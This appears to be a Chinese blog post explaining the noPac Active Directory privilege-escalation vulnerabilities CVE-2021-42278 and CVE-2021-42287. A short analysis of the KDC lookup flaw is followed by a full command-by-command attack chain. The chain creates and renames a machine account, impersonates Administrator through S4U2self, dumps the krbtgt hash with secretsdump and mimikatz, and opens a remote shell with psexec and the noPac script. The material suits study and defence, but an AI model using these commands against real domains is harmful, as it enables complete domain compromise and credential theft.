域内提权漏洞CVE-2021-42287与CVE-2021-42278

漏洞介绍

CVE-2021-42278

​ 主机账户的名称尾部应该有一个 $(即 sAMAccountName 属性),但是域控对此属性并没有任何验证来确保是否带有 $,这允许攻击者模拟域控主机账户。

CVE-2021-42287

​ 在申请 ST(服务票据)时,首先需要出示TGT(票据授予票),申请ST时当KDC没有找到TGT中的请求账户时,KDC将自动在请求账户尾部加上$并再次进行查找。

​ 这时候发生的情况是,使用名为AD01的账户获取一张TGT,再删除AD01账户,那么使用该TGT并利用S4U2self协议再次向它自己(AD01)请求TGT服务票据时将导致KDC在AD中寻找 AD01$,如果域控中账户 AD01$存在,那么此时的AD01(普通账户)只是作为任何其他普通用户就获得了 AD01$(域控制器账户)的TGT服务票据

漏洞核心点

​ 通过查看网上泄露的xp源代码中关于kerberos的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误,如下图代码:

​ 首先,如果找不到 UserName 的话,KDC会加上$继续查找 UserName$

如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的用户。

正是因为这个处理逻辑,导致了CVE-2021-42278

漏洞详解

光是一个CVE-2021-42278处理逻辑是不足以触发并形成攻击链的,需要让KDC找不到之前的用户

有以下两种方法:

  • 跨域请求

跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。

  • 修改账户saMAccountName属性

结合CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,然后走进这个处理UserName的逻辑。

进入KDC处理UserName的逻辑后,还是不能伪造高权限的,因为票据中代表用户身份权限的数据块是PAC。而申请的TGT票据授予票中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此需要想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接从TGT票据授予票中直接拷贝的。因此需要让KDC在TGS-REP(返回ST服务票据)的时候重新生成PAC,而不是直接拷贝TGT中的PAC。

两种方法:

  • S4U2Self请求

​ KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对应权限的PAC,然后放在ST服务票据中,并不会复用TGT票据授予票中的PAC!

  • 跨域请求时使用无PAC的TGT票据进行TGS请求

​ KDC在处理跨域的TGS-REQ请求时,如果携带的TGT票据授予票中没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!

攻击场景复现

复现参考:sAMAccountName spoofing - The Hacker Recipes

  • 获取到域内普通用户权限后,首先创建一个机器用户 ONLY$
#远程执行
proxychains python3 addcomputer.py -computer-name 'ONLY' -computer-pass 'Qwer1234' -dc-ip 10.10.10.140 'nasa.gov/test:QWEasd!@#999' -method SAMR -debug

#本地执行
set-executionpolicy remotesigned #允许导入脚本

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ONLY -Password $(ConvertTo-SecureString "Qwer1234" -AsPlainText -Force) 

  • 查看并清除机器用户 ONLY$的SPN

使用Krbrelayx工具包,下载地址:dirkjanm/krbrelayx: Kerberos 无约束的授权滥用工具包

在上面使用addcomputer.py利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

#远程执行
proxychains python3 addspn.py -u 'nasa.gov\test' -p 'QWEasd!@#999' -t 'ONLY$' -c 10.10.10.140

#本地执行
Import-Module .\powerview.ps1
Get-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" #查看信息
Set-DomainObject "CN=only,CN=Computers,DC=nasa,DC=gov" -Clear 'serviceprincipalname' -Verbose #擦除SPN

  • 将机器用户 ONLY$saMAccountName属性修改为AD01
#远程执行
proxychains python3 renameMachine.py -current-name 'ONLY$' -new-name 'AD01' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'

#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "ONLY" -Value "AD01" -Attribute samaccountname -Verbose

  • 请求带有PAC的正常TGT票据授予票
#远程执行
proxychains python3 getTGT.py -dc-ip 10.10.10.140 nasa.gov/AD01:'Qwer1234'

#本地执行
Rubeus.exe asktgt /user:"AD01" /password:"Qwer1234" /domain:"nasa.gov" /dc:"AD01.nasa.gov" /nowrap

  • 将机器用户 ONLYsaMAccountName属性恢复为ONLY$
#远程执行
proxychains python3 renameMachine.py -current-name 'AD01' -new-name 'ONLY$' -dc-ip 10.10.10.140 nasa.gov/test:'QWEasd!@#999'

#本地执行
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "AD01" -Value "ONLY$" -Attribute samaccountname -Verbose

  • 使用带有PAC的正常的TGT票据授予票,利用 S4u2Self协议请求访问[cifs/ldap]/AD01.nasa.gov的ST服务票据。
#远程执行
KRB5CCNAME='AD01.ccache' proxychains python3 getST.py -self -impersonate "Administrator" -altservice "cifs/AD01.nasa.gov" -k -no-pass -dc-ip 10.10.10.101 nasa.gov/AD01@10.10.10.140

#本地执行
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD01.nasa.gov" /dc:"AD01.nasa.gov" /ptt /ticket:[base64]

  • 执行高权限操作
#ldap服务远程导出域内krbtgt用户哈希
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 secretsdump.py -k -no-pass -just-dc-user krbtgt -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140
#本地导出
mimikatz.exe "lsadump::dcsync /domain:nasa.goov" /all /csv

#cifs服务远程getshell
KRB5CCNAME=Administrator@cifs_AD01.nasa.gov@NASA.GOV.ccache proxychains python3 psexec.py -k -no-pass -dc-ip 10.10.10.140 AD01.nasa.gov -target-ip 10.10.10.140

自动化利用脚本

下载地址:https://github.com/Ridter/noPac

proxychains python3 noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -shell --impersonate administrator

posted @ 2022-05-04 02:39  空于野  阅读(1145)  评论(0编辑  收藏  举报